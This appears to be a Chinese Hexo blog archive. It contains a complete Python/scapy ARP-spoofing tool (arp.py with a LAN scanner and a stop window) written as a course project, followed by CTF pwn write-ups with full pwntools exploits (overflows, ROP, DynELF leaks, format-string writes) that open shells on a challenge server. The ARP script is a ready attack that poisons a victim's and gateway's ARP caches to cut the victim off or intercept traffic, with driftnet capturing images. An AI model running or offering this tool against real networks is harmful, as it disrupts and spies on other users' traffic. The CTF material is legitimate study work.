Hexo

  • Home

  • About

  • Tags

  • Categories

  • Archives

  • Schedule

ARP欺骗攻击实战

Posted on 2019-09-08 | Edited on 2019-09-19

参考

网络攻防实战–ARP欺骗
这篇对理解整个实验很有帮助,一步步跟着做就能完成不用代码的攻击。

Python scapy实现一个简易arp攻击脚本

知识点

用命令行传递参数:argparse

https://blog.csdn.net/tumi678/article/details/80507609

程序暂停

如何让程序实现“按任意键继续这个功能?”
raw_input("按任意键继续") 这个就可以简单实现
input("按任意键继续")当然这个也可以,但是他要求输入整数,所以你如果输的不是整数,程序可能会出现报错。
所以这哪里是按任意键继续啊!

字符的时候可以用raw_input(),当然不怕麻烦也可以用input()手动加’’
int类型的时候最好用input()

搞了好一会才知道为啥报错,所以还是用raw_input()比较舒服,回车就ok了。

具体程序分析在我的课设word中,这里只写一部分

代码思路

4 代码
4.1 代码思路
4.1.1 如何发包
利用scapy模块构造应答包,来攻击目标主机。为进一步扩展程序,可以写一段代码,在攻击前扫描局域网内所以存活的主机,来确定攻击对象。
4.1.2 如何实现抓图嗅探功能
可以使用subprocess模块来调用别的程序,完成抓图嗅探功能。
4.1.3 如何设计图形化界面
可以使用一个简单的模块easygui。同时使用图形化界面也能完成传参,接收用户输入的攻击对象ip地址等信息。也能通过这个图形化界面来提示一些攻击信息。
4.1.4 打包程序后,没有终端交互,如何终止程序
使用subprocess模块,同时运行一个终端窗口,等待用户操作,并且创建一个flag文件,用于标记用户是否点击“终止”。
4.2 主程序代码
4.2.1 导入模块部分代码

如图导入了一下需要的模块:
4.2.1.1 sys
sys用来防止遇到中文时发生的错误。
4.2.1.2 easygui
这个是用来完成图形化界面的一个模块。比较简单。
4.2.1.3 argparse
用于解析命令行参数和选项的标准模块。
但实际上,我们的参数后面已经改成用easygui模块的图形化界面来进行传递。
4.2.1.4 threading
threading模块是Python里面常用的线程模块,多线程处理任务对于提升效率非常重要。
threading 模块中最核心的内容是Thread这个类。
我们在后面也是使用这个模块多多线程发包的。
4.2.1.5 time
time模块是python专门用来处理时间的内建库。这个模块非常常用。
4.2.1.6 subprocess
允许使用者创建一个新的进程让其执行另外的程序,并与它进行通信,获取标准的输入、标准输出、标准错误以及返回码等。
我们就是使用这个模块达到执行其他程序的目的。
4.2.1.7 os
os模块提供了多数操作系统的功能接口函数。当os模块被导入后,它会自适应于不同的操作系统平台,根据不同的平台进行相应的操作,在python编程时,经常和文件、目录打交道,所以离不了os模块。python编程时,经常和文件、目录打交道,这是就离不了os模块,本节内容将对os模块提供的函数进行详细的解读。
我们就是利用这个模块,操作文件。
4.2.1.8 scapy
scapy是一个可以让用户发送、侦听和解析并伪装网络报文的Python程序。这些功能可以用于制作侦测、扫描和攻击网络的工具。
换言之,Scapy 是一个强大的操纵报文的交互程序。它可以伪造或者解析多种协议的报文,还具有发送、捕获、匹配请求和响应这些报文以及更多的功能。Scapy 可以轻松地做到像扫描(scanning)、路由跟踪(tracerouting)、探测(probing)、单元测试(unit tests)、攻击(attacks)和发现网络(network discorvery)这样的传统任务。它可以代替hping,arpspoof,arp-sk,arping,p0f 甚至是部分的Namp,tcpdump和tshark的功能。
这个模块可以说是ARP欺骗的精髓。利用这个模块实现发送响应报文。
如:
Ether用来构建以太网数据包
ARP是构建ARP数据包的类
sendp方法在第二层发送数据包
getmacbyip方法用于通过ip获取mac地址
get_if_hwaddr方法获取指定网卡的mac地址
4.2.2 函数定义部分

4.2.2.1 get_mac(tgt_ip):
get_mac(tgt_ip):
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
4.2.2.2 create_arp_station与create_arp_gateway
create_arp_station(伪造计算机)和create_arp_gateway (伪造网关) :
生成ARP数据包,伪造目标计算机欺骗网关
src_mac:本机的MAC地址,充当中间人
gateway_mac:网关的MAC
tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gateway_ip:网关的IP
op=is-at,表示ARP响应
4.2.3 部分图形化界面设计

这里用到的是easygui模块。这里面有一系列函数,例如:enterbox用来实现文本输入的图形化界面;
ccbox用来实现选择界面。
通过这里的几个图形化界面来确定攻击的对象和方式。

根据用户的操作,去实现不同的效果:
如果选择的是断网攻击,就将攻击主机的IP转发功能给关了。
这个功能是由ip_forward的值定的。如果是1就是开启IP转发;如果是0,就是关闭IP转发。
4.2.4 判断程序终止

这里利用subprocess和open操作打开自己创建的flag文件来实现自定义程序终止:
subprocess打开一个自己写的结束窗口,由于是用subprocess.popen,这个窗口的运行是不会阻断主程序运行的。这个窗口运行的同时,主程序在不断发包,控制被攻击主机的ARP缓存表。当用户想停止的时候,点击结束窗口的“finish”按钮,结束程序会改变flag文件的值。while循环的判断语句是finish的值,程序在一开始会将flag置0;而在while循环里,每次都会进行对flag文件的比较,如果flag文件的值发生了改变,那就可以知道用户想停止程序了,此时就会将finish置1,达到退出循环结束程序的目的。
4.2.5 发包部分代码

发包部分用到了threading多线程。通过多线程发包来不断攻击目标主机,控制目标主机的ARP缓存表。
每个Thread对象代表着一个线程,可以通过start()方法,开始运行。
target(): 由run()方法调用的可调用对象。
start():启动线程
join(timeout=None): 阻塞线程,直到执行结束或超时
kwargs: 目标调用的关键字参数的字典
为了方便使用观察,调用time.sleep函数。
time sleep() 函数推迟调用线程的运行,可通过参数secs指秒数,表示进程挂起的时间。

4.3 结束窗口代码

这部分代码就是先前提到的结束窗口部分代码。当用户点击“finish”按钮时就会修改flag文件达到结束程序的目的。
4.4 扫描主机部分代码

这是扫描主机部分的代码。
这里用到了netiface和nmap模块。
4.4.1 def get_gateways
def get_gateways()这个函数调用了netifaces模块的gateways方法。netifaces.gateways()能获取网关的IP地址,方便后面对整个网段的扫描。
4.4.2 def get_ip_lists(ip):
这个函数的作用就是创建一个列表。该列表保存网关所在网段的所有主机ip地址。
4.4.3 main
main函数是扫描程序的主函数。
在主函数中,先调用两个事先定义好的函数:获取网关ip及其所在网段的全部IP地址(ip_lists)。
ret = nmScan.scan(hosts=hosts, arguments=’-sP’)这是这个扫描程序的关键所在。它能对host进行扫描,查看其是否存活。其中,hosts可以是单个IP地址也可以是一整个网段。arguments就是运用什么方式扫描,-sn就是ping扫描。因为我们要扫描整个网段,所以令hosts等于整个网段了。
扫描完成后,ret[‘scan’]保存存活主机及其信息,它是字典形式的,如图

之后用temp_ip_lists保存所有不存活主机。之后删除ip_lists中所有不存活的主机,此时ip_lists中只保存了存活的主机。然后利用ip_lists显示所有存活主机的IP地址。

代码

arp.py(主程序)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
'''
ARP 攻击脚本
对于局域网内通信,运行时,输入双向欺骗目标。

对于局域网内目标和外部通信,运行时输入欺骗目标和网关地址

在ARP欺骗的同时,开启路由转发,既可获取双方通信内容。
'''
import easygui as a
import argparse
import threading
import time
import subprocess
import os


from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip


# 注意这里面的几个方法

# Ether用来构建以太网数据包
# ARP是构建ARP数据包的类
# sendp方法在第二层发送数据包
# getmacbyip方法用于通过ip获取mac地址
# get_if_hwaddr方法获取指定网卡的mac地址


def get_mac(tgt_ip):
'''
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
'''
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活"%tgt_ip)


def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
'''
生成ARP数据包,伪造网关欺骗目标计算机
src_mac:本机的MAC地址,充当中间人
tgt_mac:目标计算机的MAC
gateway_ip:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgt_ip:目标计算机的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=src_mac, dst=tgt_mac)
arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
pkt = eth / arp
return pkt

def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
'''
生成ARP数据包,伪造目标计算机欺骗网关
src_mac:本机的MAC地址,充当中间人
gateway_mac:网关的MAC
tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gateway_ip:网关的IP
op=is-at,表示ARP响应
'''
eth = Ether(src=src_mac, dst=gateway_mac)
arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
pkt = eth / arp
return pkt


def main():
"""
主方法
"""
os.system(r"echo 0 > /root/桌面/ARP欺骗/flag.txt")
os.system(r"python /root/桌面/ARP欺骗/pingscanner.py")#存活主机扫描

h_ip=a.enterbox(msg='请输入目标主机ip', title='ARP欺骗', default=' ', strip=True, image=None, root=None)
way = a.ccbox(msg='选择攻击范围', title='ARP欺骗', choices=('局域网内攻击(破坏局域网内的主机通信)', '攻击网关(使目标不能上网)'), image=None)
if way==1:
g_ip=a.enterbox(msg='请输入另一台主机', title='ARP欺骗', default=' ', strip=True, image=None, root=None)
other="另一台主机"
else:
g_ip=a.enterbox(msg='请输入目标网关', title='ARP欺骗', default=' ', strip=True, image=None, root=None)
other="网关"

method =a.ccbox(msg='选择攻击方式 ', title='ARP欺骗', choices=('ARP断网攻击', 'ARP欺骗并截获图片'), image=None)

tgt_ip = h_ip
gateway_ip = g_ip
interface = "eth0"
if method== 1:
res = os.system(r"echo 0 > /proc/sys/net/ipv4/ip_forward")

else:
res = os.system(r'echo 1 > /proc/sys/net/ipv4/ip_forward')
subprocess.Popen('driftnet -i eth0',shell=True)
#srcmac = args.srcmac
#targetmac = args.targetmac
#gatewaymac = args.gatewaymac

if tgt_ip is None or gateway_ip is None or interface is None:
print(parser.print_help())
exit(0)

tgt_mac = get_mac(tgt_ip)
gateway_mac = get_mac(gateway_ip)
src_mac = get_if_hwaddr(interface)
m='本机MAC地址是:'+ src_mac +'\n'
m+="目标计算机IP地址是:" + tgt_ip +'\n'
m+="目标计算机MAC地址是:" + tgt_mac+'\n'
m+= other+"IP地址是:" + gateway_ip+'\n'
m+= other+"MAC地址是:" + gateway_mac
a.msgbox(msg= m , title= 'ARP欺骗', ok_button='start', image=None, root=None)

pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)

# 如果不展示发送情况的话下面的语句可以更加简便直接用sendp方法提供的功能循环发送即可,不需要多线程和死循环。
# sendp(pkt_station, inter=1, loop=1)
# sendp(pkt_gateway, inter=1, loop=1)
finish=0
i = 1
with open('/root/桌面/ARP欺骗/flag.txt','r') as f:
before=f.read()

subprocess.Popen('python /root/桌面/ARP欺骗/end.py',shell=True)

##start
while finish ==0:
with open('/root/桌面/ARP欺骗/flag.txt','r') as f:
after=f.read()
if after==before:
before=after
else:

finish=1

t = threading.Thread(
target=sendp,
args=(pkt_station,),
kwargs={'inter':1, 'iface':interface}
)
t.start()
t.join()

print(str(i) + " [*]向目标计算机发送一个ARP欺骗包")

s = threading.Thread(
target=sendp,
args=(pkt_gateway,),
kwargs={'inter':1, 'iface':interface}
)
s.start()
s.join()

print(str(i) + " [*]向"+other+"发送一个ARP欺骗包")
#a.msgbox(msg= str(i) + " [*]向目标计算机发送一个ARP欺骗包"+str(i) + " [*]向"+other+"发送一个ARP欺骗包", title= '', ok_button='开始', image=None, root=None)
i += 1
time.sleep(1)

if __name__ == '__main__':

main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import easygui as a
import netifaces,nmap
def get_gateways():
return netifaces.gateways()['default'][netifaces.AF_INET][0]
def get_ip_lists(ip):
ip_lists = []
for i in range(1, 256):
ip_lists.append('{}{}'.format(ip[:-1], i))
return ip_lists
def main(ip=None):
s='正在扫描局域网中存活的主机'
a.msgbox(msg=s, title= 'ARP欺骗', ok_button='continue', image=None,root=None)
m='网络中的存活主机::'
ip=get_gateways()
ip_lists=get_ip_lists(ip)
nmScan,temp_ip_lists,hosts = nmap.PortScanner(),[],ip[:-1]+'0/24'
ret = nmScan.scan(hosts=hosts, arguments='-sP')
print('扫描时间:'+ret['nmap']['scanstats']['timestr']+'\n命令参数:'+ret['nmap']['command_line'])
for ip in ip_lists:
print('ip地址:'+ip+':')
if ip not in ret['scan']:
temp_ip_lists.append(ip)
print('扫描超时')
else:print('已扫描到主机,主机名:'+ret['scan'][ip]['hostnames'][0]['name'])
print(str(hosts) +' 网络中的存活主机:')
for ip in temp_ip_lists:ip_lists.remove(ip)
for ip in ip_lists:
m+=ip+'\n'
a.msgbox(msg=m , title= 'ARP欺骗', ok_button='start', image=None, root=None)
if __name__ == '__main__':
main()

end.py

1
2
3
4
5
6
7
8
# -*- coding: utf-8 -*-
import easygui
import os

cc =easygui.ccbox(msg='点击finish结束攻击', title='ARP欺骗 ', choices=('continue', 'finish'), image=None)

if cc==0:
os.system(r"echo 1 > /root/桌面/ARP欺骗/flag.txt")

flag.txt

1
1

flag这个文件里写1还是0都可以。因为每次程序运行都会初始化一遍。

ubuntu相关配置

Posted on 2019-08-28

Ubuntu18.04的网络配置

攻防世界-进阶

Posted on 2019-08-25 | Edited on 2019-10-15 | In pwn

dice_game

checksec
这题也是猜数,看起来就和前面的guess number那题一样。
checksec
只要进入sub_B28((__int64)buf); 这个函数就行了,这个函数悠flag

checksec
从这里可以知道如何覆盖seed:用buf,他们相差40h

checksec
这里是具体的猜数字部分,写exp时按着写就可以

参考之前guessnumber那题写exp

啊哈,果然是如出一辙,一样的exp搞定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
context.log_level = 'debug'
io = remote('111.198.29.45', 44300)
#io = process('./dice_game')

libc = cdll.LoadLibrary("libc.so.6")
##在这个库里可以找到rand

pay = "A"*0x40+ p64(1) #从v7把seed[0]覆盖成1
io.sendlineafter("name: ",pay)
libc.srand(1)
for i in range(50):
num = str(libc.rand()%6+1)
io.sendlineafter("Give me the point(1~6): ",num)

io.interactive()

warmup

没有附件,有点头疼。。。
从网上直接找吧
先补充一下:

sprintf

sprintf:
C 库函数 int sprintf(char str, const char format, …) 发送格式化输出到 str 所指向的字符串。
就是将格式化字符串输出的值写入到第一个参数中。和print相比,print是将输出给到标准输出流(屏幕),而它是将输出给到它的第一个参数。

解题

来自:https://blog.csdn.net/levones/article/details/88233101[https://blog.csdn.net/levones/article/details/88233101]
checksec
这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc
checksec
可以看到fprint是将sub_40060D这个函数的地址给了s。而且这个sub_40060D里面就是flag,执行这个函数就有flag。
最后还有一个gets函数,熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出。即溢出点可以通过计算得出:40H+8H=48H=72

那么只要溢出让他执行sub_40060D 这个函数就可以了嘛

stack2

官方题解
简书
csdn
简述下解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber"); // v6=1 show
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:"); // v6=3 chang
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7; // /下标越界
//
}
if ( v6 != 4 )
break; // v6=5 exit
v9 = 0; // V6=4 avg
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}

题目长这样的
整体实现的功能就是
1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit
这句话

查找题目中存在的漏洞,存在数组下标溢出:没有对输入的下标进行检查,导致我们可以在栈的任意位置进行写的操作。利用这个我们可以覆盖到这个函数的ret从而控制控制程序。找到ret我们就可以按照常规思路去让他执行system函数了。
程序中有一个后门函数hackhere但大佬说出题人在搭建docker环境时未注意,环境中只给了sh。也就是我们只能执行system(sh)来获得权限。
system函数从IDA的函数库上可以找到,sh也能从/bin/sh 截取下来。
然后就是ret地址在哪的问题了,看IDA char v13[100]; // [esp+38h] [ebp-70h]以为是0x70+4=116,但是实际上不行。正确的地址是0x84(132)只能自己去调试了
那只能这么理解了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

g_local=0
context.log_level='debug'

if g_local:
sh = process('./stack2')#env={'LD_PRELOAD':'./libc.so.6'}
gdb.attach(sh)
else:
sh = remote("111.198.29.45", 48837)

def write_byte(off, val):
sh.send("3\n")
sh.recvuntil("which number to change:\n")
sh.send(str(off) + "\n")
sh.recvuntil("new number:\n")
sh.send(str(val) + "\n")
sh.recvuntil("5. exit\n")

def write_dword(off, val):
#off就是数组下标,而数组的溢出点在0x84(V13[0x84]处是返回地址,因为他不检查数组溢出,这个下标的位置就算rep)
## 这个函数其实实现的就是将val的地址逆序输入到V13[off]的地址处(小断序)
write_byte(off, val & 0xff)
write_byte(off + 1, (val >> 8) & 0xff)
write_byte(off + 2, (val >> 16) & 0xff)
write_byte(off + 3, (val >> 24) & 0xff)

## 通过4个write_byte 函数 实现了通过利用数组赋值完成将返回地址覆盖成sys地址的目的
def exit():
sh.send("5\n")
sh.interactive()

sh.recvuntil("How many numbers you have:\n")
sh.send("1\n")
sh.recvuntil("Give me your numbers\n")
sh.send("1\n")
sh.recvuntil("5. exit\n")

write_dword(0x84, 0x8048450)##数组V13[0x84]处
write_dword(0x8C, 0x8048980 + 7)
##0x8c指向system函数的参数:0x84+4+4(其中ret返回地址4个字节,即0x84-0x87,0x88-0x8B是system函数的返回地址,占4个字节)
##0X8048980是字符串/bin/sh的地址。+7是因为我们只要其中的sh这两个字符
exit() ##exit结束main函数,然后就会跳到它的返回地址执行system函数,而且system函数的参数也被我们布置成sh。运行后我们就可以得到权限

看了好久才看懂它自己定义的两个函数,就是完成一个小端序下输入system函数的地址,和sh的地址这两件事

一样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

#!/usr/bin/python
#coding:utf-8

from pwn import*




system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write system_addr 0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr 0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()
————————————————
版权声明:本文为CSDN博主「NYIST皮皮虾」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41071646/article/details/86600053

链接:
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

https://blog.csdn.net/qq_41071646/article/details/86600053

pwn-100

i春秋的帖子
这个很重要!!!!

利用思路

无libc,无system,无”/bin/sh”,有read,puts函数

1.利用DynELF模块泄露system函数地址
2.构造rop链,写入”/bin/sh”
3.调用system函数

解题

/bin/sh可写的空间

pop_rdi

把binsh写入哪里呢?
查找可以写入/bin/sh的地址
gdb-peda$ vmmap

找到可写的地址=。=
利用DynELF存在一个问题,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含/x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的缺点

##exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',46875)
#io = process("./pwn-100")
elf = ELF("./pwn-100")

rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56 #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()

https://www.jianshu.com/p/463d2fafb538
https://blog.csdn.net/qq_41071646/article/details/86559557

dice_game

Posted on 2019-08-25

Untitled

Posted on 2019-08-17 | Edited on 2019-08-22
攻防世界-新手

level2 (NX-ROP入门)

参考:

[原创]XCTF攻防世界 level2
攻防世界——pwn(2)
level2

解题

题目比较简单

只开了NX,函数也就一个,并且有read函数,存在溢出。
可以通过
leve2-l2py
leve2-l2py
在IDA中,找到字符串窗口,可以搜索到“/bin/sh”的地址。
leve2-l2py
因为本身有system函数,也能找到sysytem函数的地址。这就为解题减轻难度。
leve2-l2py
还有就是填充的长度,可以通过IDA中的【ebp-88h】知道栈空间为88h再加上ebp的4(32位下),所以填充大小就是88h+4

原理方面就是,想办法让他调用system(“/bin/sh”)
payload: 填充数据+p32(system_addr)+p32(sys的返回地址,实际上无所谓)+p32(/bin/sh作为sys的参数)
即:我们可以构造一个system(“/bin/sh”)的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system(“bin/sh”),这样就可以获取shell。(需要注意一点,因为我们的目的是通过system(“bin/sh”)来获取shell,所以函数执行完后的返回地址可以任意。)

exp

l2.py

![leve2-level2py](D:\blog\betterlh\source\_posts\攻防世界-新手\leve2-level2py.GIF)from pwn import *
context.log_level="debug"
system_addr=0x08048320
bin_sh=0x0804A024
p=process("./level2")
p=remote("111.198.29.45",59415)
p.recvline()
payload="A"*0x88+"A"*4+p32(system_addr)+p32(0xdeedbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

leve2-l2py

level2.py

#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'

elf = ELF('./level2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

io = remote("111.198.29.45",41527)
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()

leve2-l2py

补充:无/bin/sh

补充一下,如果里面没有/bin/sh要自己写入的话

利用read函数写入”/bin/sh”的重点是构造这个payload模块:

padding1 + address of read + address of system + p32(0)+p32(addr_bss)+p32(10)

其中,address of system为read函数调用完后的返回地址,p32(0),p32(addr_bss),p32(10)为传给read函数的三个参数,p32(addr_bss)将存入”/bin/sh\x00”。

原文链接:https://blog.csdn.net/weixin_44319142/article/details/89107325

如果是64位的话就不一样了
同样可以利用IDA来查找system的地址以及/bin/sh的地址

NX机制及绕过策略-ROP64位
level2
攻防世界level2 x_64位


level0

checksec
只有NX,64位

看代码,没啥东西,一个write一个read。存在system

exp

from pwn import *
p = process('./level0')
# p = remote("111.198.29.45","31008")
call_system = 0x400596
payload = 0x88*'a' + p64(call_system)
p.sendline(payload)
p.interactive()


hello_pwn

checksec
checksec
只有NX,可以尝试64位NX绕过

看到代码里 有个if条件,估计是从这里入手
checksec
可以看到只要满足if条件,就可以获取到flag
checksec
可以看出,这个地址和上面read函数的参数连着的,只差4,所以填充4就好

exp

#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'

elf = ELF('./hello_pwn')

payload = 'A' *4 + p32(1853186401) 

io = remote("111.198.29.45",41431)
io.sendlineafter("bof",payload)
io.interactive()
io.close()


born

64位
checksec

这题看它的伪代码就可以知道要让v5这个值等于对应的数值就可以了。但是他在前面又不让你等于这个数,怎么办?
认真看可以发现他是先输入v5的值,再输入v4的值,那么一开始v5的值不等于1926就好了,然后用v4溢出覆盖v5(地址刚好连续,只差8),这个时候就可以满足条件了
通过IDA 可以发现这两个值的地址(var20和var18)
checksec

exp:

#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process("./born")
p=remote("111.198.29.45",59781)
p.sendlineafter("Birth?",str(1999))
payload="A"*8+p32(1926)
p.sendlineafter("What's Your Name?\n",payload)
p.interactive()

from pwn import *
p=remote('111.198.29.45',35721)
payload='a'*8+p64(1926)
p.recvuntil('Your Birth?')
p.sendline('1999')
p.sendline(payload)
p.interactive()

CGfsb

这是一道格式字符串漏洞
checksec
checksec
只要pwnme=8,就会cat flag
这里有个printf格式化字符串漏洞,利用这个可以将pwnme(地址直接用IDA就找到了)的值给覆盖成题目需要的值8
checksec
用gdb调试,发现它的位置在11(实际上是10因为第一个是我们的格式化字符串,这个是不会打印出来的)
payload:
pwnme 的地址占了4位数,然后我们在输入4个a就有8位了。
exp:

from pwn import *
context.log_level="debug"
elf=ELF("./CGfsb")
p=process("./CGfsb")

#p=remote("111.198.29.45",34699)
pwnme=0x0804a068

p.sendlineafter("name:","aaaa")

payload=p32(pwnme)+'aaaa%10$n'
p.sendlineafter("please:",payload)


p.interactive()

checksec

CGpwn2

这题好像是一个简单的溢出
有用的代码是这里
checksec
这里有个fget函数,以及存在漏洞的gets函数。
这里的name是全局变量,name 的地址0804A080
可以看到这题有system函数,但是没有/bin/sh,要想办法构造,这里可以直接写道全局变量name中,到时候system函数调用时,再用它的首地址作为参数就行了。
利用get的溢出,让eip为system的地址,这里可以使用pattern工具来找溢出点IDA上可以看到s是ebp-26h也可以知道是26h+4=42。
exp:

#!usr/bin/python
from pwn import *
context.log_level = 'debug'
#io = remote("111.198.29.45",39409)
io = process("./cgpwn2")


elf=ELF("./cgpwn2")  

sys_addr=elf.symbols['system']    
#sys_addr = 0x08048420
io.recvuntil("your name")
io.sendline("/bin/sh")
